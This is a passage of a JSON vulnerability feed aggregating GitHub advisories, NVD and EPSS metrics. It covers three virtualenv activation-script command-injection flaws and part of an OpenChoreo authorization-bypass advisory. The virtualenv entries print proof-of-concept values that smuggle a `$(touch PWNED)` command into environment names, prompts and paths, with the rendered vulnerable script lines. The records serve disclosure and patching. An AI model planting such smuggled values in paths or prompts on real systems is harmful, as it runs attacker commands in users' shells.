page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-vxj4-q4g9-crj7, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-113725","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113725","type":"primary","publishedAt":"2026-10-20T20:17:19.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113725&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113725, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113726","cveId":"CVE-2026-113726","aliases":["GHSA-5vjq-rrrf-7h2q"],"kind":"vulnerability","title":"virtualenv activate runs commands from the environment name in zsh with PROMPT_SUBST","summary":"zsh users activate an environment with the bash `activate` script, which puts the environment name into `PS1`. Since\n21.13.0 the script escapes backslashes, dollar signs and backticks in that name, but only when `BASH_VERSION` is set, so\nzsh gets the raw value. With the `PROMPT_SUBST` option set, zsh runs parameter expansion, command substitution and\narithmetic expansion on `PS1` each time it draws the prompt. A name that contains `$(...)`, backticks or `${...}` then\nruns as commands in the user's shell, once per prompt.\n\nThe name comes from the environment directory, or from `--prompt` or `VIRTUALENV_PROMPT`. After you create an\nenvironment with:","detail":"### Impact\n\nzsh users activate an environment with the bash `activate` script, which puts the environment name into `PS1`. Since\n21.13.0 the script escapes backslashes, dollar signs and backticks in that name, but only when `BASH_VERSION` is set, so\nzsh gets the raw value. With the `PROMPT_SUBST` option set, zsh runs parameter expansion, command substitution and\narithmetic expansion on `PS1` each time it draws the prompt. A name that contains `$(...)`, backticks or `${...}` then\nruns as commands in the user's shell, once per prompt.\n\nThe name comes from the environment directory, or from `--prompt` or `VIRTUALENV_PROMPT`. After you create an\nenvironment with:\n\n```console\n$ virtualenv 'x$(touch PWNED)y'\n```\n\n`source 'x$(touch PWNED)y/bin/activate'` in a zsh session with `PROMPT_SUBST` set creates `PWNED`, and the prompt shows\n`(xy)`. Passing that value as `--prompt` to an environment with a plain name has the same effect. Without\n`PROMPT_SUBST`, zsh shows the name as text and runs nothing. bash runs nothing either.\n\nA plain zsh starts with `PROMPT_SUBST` off. oh-my-zsh users have it on: oh-my-zsh loads\n[`lib/theme-and-appearance.zsh`](https://github.com/ohmyzsh/ohmyzsh/blob/4d4cfc287e9d887b81242c0e431b5f49f9cec5c1/lib/theme-and-appearance.zsh#L5)\nat startup, and that file sets it. An attacker needs to influence the environment path or prompt: a CI job or wrapper\ntool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive.\n`--prompt .` takes the current directory's name.\n\nzsh also reads `%` in `PS1` as a prompt escape, so a name with `%n` showed the user name in place of those characters,\nthough without running commands.\n\nThe bug is in releases up to and including 21.14.3. The payload runs on 20.26.6 and 21.14.3, and the reporter confirmed\n21.9.1.\n\n### Patches\n\nFixed in 21.14.4. Under zsh, `activate` now escapes the name the way it does under bash and doubles\n`%`, so the example above runs nothing and the prompt shows the name as given. zsh gets the escaping even when\n`PROMPT_SUBST` is off, because a user can set the option after activation; a name with a backslash, dollar sign or\nbacktick then shows the added backslashes.\nFix: https://github.com/pypa/virtualenv/commit/5b915367da82bd024b2a0d28d2f98007034b4aa2\n\n### Workarounds\n\nSet `VIRTUAL_ENV_DISABLE_PROMPT=1` before you source `activate`, which leaves `PS1` alone, or run\n`unsetopt prompt_subst` if your prompt does not need it. Check the name of an environment you did not create before you\nsource its `activate`.\n\n### Credits\n\nKaya Emre Arikan (@kemrec) reported this issue.\n\nAffected package ranges reported by GitHub:\nvirtualenv: <= 21.14.3","action":"GitHub lists first patched versions: virtualenv: 21.14.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:46:23.000Z","updatedAt":"2026-10-22T16:47:38.403Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113726","asOf":"2026-10-22T16:47:38.403Z"},"epss":{"probability":0.00263,"percentile":0.17948,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113726&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-5vjq-rrrf-7h2q","url":"https://github.com/advisories/GHSA-5vjq-rrrf-7h2q","type":"primary","publishedAt":"2026-10-21T16:46:23.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-5vjq-rrrf-7h2q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-5vjq-rrrf-7h2q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-5vjq-rrrf-7h2q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-5vjq-rrrf-7h2q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-5vjq-rrrf-7h2q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-5vjq-rrrf-7h2q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-5vjq-rrrf-7h2q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-5vjq-rrrf-7h2q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-5vjq-rrrf-7h2q, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-113726","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113726","type":"primary","publishedAt":"2026-10-20T22:19:29.423Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113726&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113726, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113732","cveId":"CVE-2026-113732","aliases":["GHSA-c947-3pg5-gm8q"],"kind":"vulnerability","title":"virtualenv activate.fish runs commands from a path or prompt with a backslash before a quote","summary":"`FishActivator` defines no `quote()`, so it inherits `ViaTemplateActivator.quote`, which returns `shlex.quote(string)`. That function follows POSIX `sh` rules, where a backslash inside single quotes stays a literal character. fish reads `\\'` inside single quotes as an escaped quote and `\\\\` as an escaped backslash. A value with a backslash before a quote therefore ends the literal somewhere other than where `shlex.quote` put the end, and fish expands the command substitution that follows.\n\nThe environment path reaches `set -gx VIRTUAL_ENV`, and `--prompt` or `VIRTUALENV_PROMPT` reaches `set -gx VIRTUAL_ENV_PROMPT`. For `--prompt \"x\\'\\$(touch PWNED)'\\'\"`, the generated `activate.fish` contains:","detail":"### Impact\n\n`FishActivator` defines no `quote()`, so it inherits `ViaTemplateActivator.quote`, which returns `shlex.quote(string)`. That function follows POSIX `sh` rules, where a backslash inside single quotes stays a literal character. fish reads `\\'` inside single quotes as an escaped quote and `\\\\` as an escaped backslash. A value with a backslash before a quote therefore ends the literal somewhere other than where `shlex.quote` put the end, and fish expands the command substitution that follows.\n\nThe environment path reaches `set -gx VIRTUAL_ENV`, and `--prompt` or `VIRTUALENV_PROMPT` reaches `set -gx VIRTUAL_ENV_PROMPT`. For `--prompt \"x\\'\\$(touch PWNED)'\\'\"`, the generated `activate.fish` contains:\n\n```fish\nset -gx VIRTUAL_ENV_PROMPT 'x\\'\"'\"'$(touch PWNED)'\"'\"'\\'\"'\"''\n```\n\n`source bin/activate.fish` runs `touch PWNED`, and fish prints no error. The same payload as a directory name runs through `VIRTUAL_ENV`. `--prompt .` takes the current directory's name, so running virtualenv inside a directory someone else named is enough. Without the backslash the payload runs nothing, and under bash it runs nothing either.\n\nvirtualenv generates `activate.fish` by default. An attacker needs to influence the environment path or prompt: a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive.\n\nThe bug affects every release up to 21.14.1 that ships `activate.fish`. The GHSA-p58f-9548-mpm2 fix in 21.7.13 moved the placeholders outside their quotes but kept `shlex.quote`.\n\n### Patches\n\nFixed in 21.14.2. `activate.fish` now escapes backslashes and single quotes the way fish reads them, so the example above runs nothing and shows the prompt as given. Fix: https://github.com/pypa/virtualenv/commit/3bddeaf8d02c3ee7f576503efb082f8f494cfcab\n\n### Workarounds\n\nDo not create an environment whose path or prompt contains a backslash, and inspect `activate.fish` before you source one you did not create.\n\n### Credits\n\nKevin Stubbings (@Kwstubbs) of GitHub Security Lab reported this issue.\n\nAffected package ranges reported by GitHub:\nvirtualenv: <= 21.14.1","action":"GitHub lists first patched versions: virtualenv: 21.14.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:39:58.000Z","updatedAt":"2026-10-22T16:47:38.403Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113732","asOf":"2026-10-22T16:47:38.403Z"},"epss":{"probability":0.00236,"percentile":0.14514,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113732&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-c947-3pg5-gm8q","url":"https://github.com/advisories/GHSA-c947-3pg5-gm8q","type":"primary","publishedAt":"2026-10-21T16:39:58.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-c947-3pg5-gm8q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-c947-3pg5-gm8q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-c947-3pg5-gm8q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-c947-3pg5-gm8q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-c947-3pg5-gm8q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-c947-3pg5-gm8q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-c947-3pg5-gm8q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-c947-3pg5-gm8q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-c947-3pg5-gm8q, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-113732","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113732","type":"primary","publishedAt":"2026-10-20T22:19:30.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113732&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113732, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113776","cveId":"CVE-2026-113776","aliases":["GHSA-8rjx-v5ww-45pp"],"kind":"vulnerability","title":"virtualenv activation scripts run code from a path that contains a placeholder name","summary":"`ViaTemplateActivator.instantiate_template` replaces the placeholders in an activation template one key at a time, each across the whole text. When a value that it already substituted and quoted contains the name of a later placeholder, the later pass rewrites that name inside the quoted literal. The inserted value brings its own quotes, which close the outer literal, and the rest of the path runs as code when a user activates the environment.\n\n`__VIRTUAL_NAME__` holds the environment's directory name, so a destination such as `A__VIRTUAL_NAME__B/x'$(touch PWNED)'y` is enough. In the default `activate` for bash, the `VIRTUAL_ENV` line renders as:","detail":"### Impact\n\n`ViaTemplateActivator.instantiate_template` replaces the placeholders in an activation template one key at a time, each across the whole text. When a value that it already substituted and quoted contains the name of a later placeholder, the later pass rewrites that name inside the quoted literal. The inserted value brings its own quotes, which close the outer literal, and the rest of the path runs as code when a user activates the environment.\n\n`__VIRTUAL_NAME__` holds the environment's directory name, so a destination such as `A__VIRTUAL_NAME__B/x'$(touch PWNED)'y` is enough. In the default `activate` for bash, the `VIRTUAL_ENV` line renders as:\n\n```sh\nVIRTUAL_ENV='/tmp/t/A'x'\"'\"'$(touch PWNED)'\"'\"'y'B/x'\"'\"'$(touch PWNED)'\"'\"'y'\n```\n\nSourcing that script runs `touch PWNED`. The same payload in a path without the placeholder name runs nothing. `activate.fish` runs the command the same way, and the reporter also showed Python code execution through `activate.xsh` and `bin/activate_this.py`. In `activate.csh`, a directory named after a prompt display placeholder, such as `__VIRTUAL_PROMPT_DISPLAY_TCSH__`, breaks the script with `Unmatched '''`.\n\nNo change to `quote()` can stop this, because the rewrite happens after `quote()` ran; it defeats `shlex.quote` and `repr()` alike.\n\nAn attacker needs to influence the destination path or `--prompt`: a CI job or wrapper tool that builds the path from a branch or project name, or a directory in a cloned repository or unpacked archive.\n\nThe bug affects versions 20.26.6 through 21.14.1. Version 20.26.6 first quoted template values (#2768) and introduced the per-key loop.\n\n### Patches\n\nFixed in 21.14.2. Activation scripts now keep a placeholder name in the environment's path or prompt as plain text, and activating the example above runs nothing. Fix: https://github.com/pypa/virtualenv/commit/602b26623a724827ff171bf11fef4ad186d01f74\n\n### Workarounds\n\nDo not create an environment whose path or `--prompt` contains a placeholder name such as `__VIRTUAL_NAME__`, `__VIRTUAL_ENV__` or `__VIRTUAL_PROMPT__`, and inspect the generated activation script before you source one you did not create.\n\n### Credits\n\nKevin Stubbings (@Kwstubbs) of GitHub Security Lab reported this issue.\n\nAffected package ranges reported by GitHub:\nvirtualenv: >= 20.26.6, <= 21.14.1","action":"GitHub lists first patched versions: virtualenv: 21.14.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:39:38.000Z","updatedAt":"2026-10-22T16:47:38.403Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113776","asOf":"2026-10-22T16:47:38.403Z"},"epss":{"probability":0.00269,"percentile":0.18873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113776&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-8rjx-v5ww-45pp","url":"https://github.com/advisories/GHSA-8rjx-v5ww-45pp","type":"primary","publishedAt":"2026-10-21T16:39:38.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-8rjx-v5ww-45pp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-8rjx-v5ww-45pp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-8rjx-v5ww-45pp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-8rjx-v5ww-45pp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-8rjx-v5ww-45pp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-8rjx-v5ww-45pp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-8rjx-v5ww-45pp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-8rjx-v5ww-45pp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-8rjx-v5ww-45pp, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-113776","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113776","type":"primary","publishedAt":"2026-10-20T22:19:30.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113776&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113776, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113727","cveId":"CVE-2026-113727","aliases":["GHSA-46r4-q7wv-32fc"],"kind":"vulnerability","title":"OpenChoreo: Authorization bypass on WorkflowRun update allows cross-project takeover of workflow runs","summary":"The OpenChoreo API server authorized `PUT .../workflowruns/{runName}` against ownership metadata taken from the request body, while the object it actually mutated was selected by the URL path. Nothing forced the two to agree.\n\nA `WorkflowRun`'s membership in a project and component is carried entirely by its `openchoreo.dev/project` and `openchoreo.dev/component` labels. Because the `workflowrun:update` check read those labels from the submitted object rather than the stored one, a caller holding `workflowrun:update` on one component could name a run belonging to a different project or component in the URL, supply labels for the component they legitimately control, pass the check, and have the unrelated run rewritten with their own ownership labels.","detail":"## Summary\n\nThe OpenChoreo API server authorized `PUT .../workflowruns/{runName}` against ownership metadata taken from the request body, while the object it actually mutated was selected by the URL path. Nothing forced the two to agree.\n\nA `WorkflowRun`'s membership in a project and component is carried entirely by its `openchoreo.dev/project` and `openchoreo.dev/component` labels. Because the `workflowrun:update` check read those labels from the submitted object rather than the stored one, a caller holding `workflowrun:update` on one component could name a run belonging to a different project or component in the URL, supply labels for the component they legitimately control, pass the check, and have the unrelated run rewritten with their own ownership labels.\n\nThe namespace is taken from the URL and feeds both the authorization check and the Kubernetes read, so it cannot diverge. This is cross-project and cross-component escalation inside a single namespace, not a cross-tenant issue.\n\n## Impact\n\nRewriting the ownership labels transfers authority over the run. Every other WorkflowRun check (view, logs, events, status, delete, list) derives its scope from the stored labels, so once the write lands the policy engine legitimately grants the attacker access to an object they never had rights to. They can then:\n\n- Read the victim's build logs. These stream raw pod logs from the workflow plane and routinely carry source paths, registry destinations, and credentials a build step echoed by accident.\n- Read the run's Kubernetes events.\n- Delete the run.\n\nSo the primary impact is confidentiality and availability, not only integrity. On the integrity side, `spec.workflow.parameters` can be overwritten on a pending run, and manipulating the two ownership labels can either wedge the run in a permanent `ComponentValidationFailed` condition or downgrade it to a standalone run that skips component validation.\n\nExploitation requires an authenticated caller with an `AuthzRoleBinding` or `ClusterAuthzRoleBinding` granting `workflowrun:update` at project or component scope in the victim's namespace, plus knowledge of the target run's name. An anonymous caller cannot reach this.\n\n## Patches\n\nThe authorization check now loads the stored WorkflowRun and derives 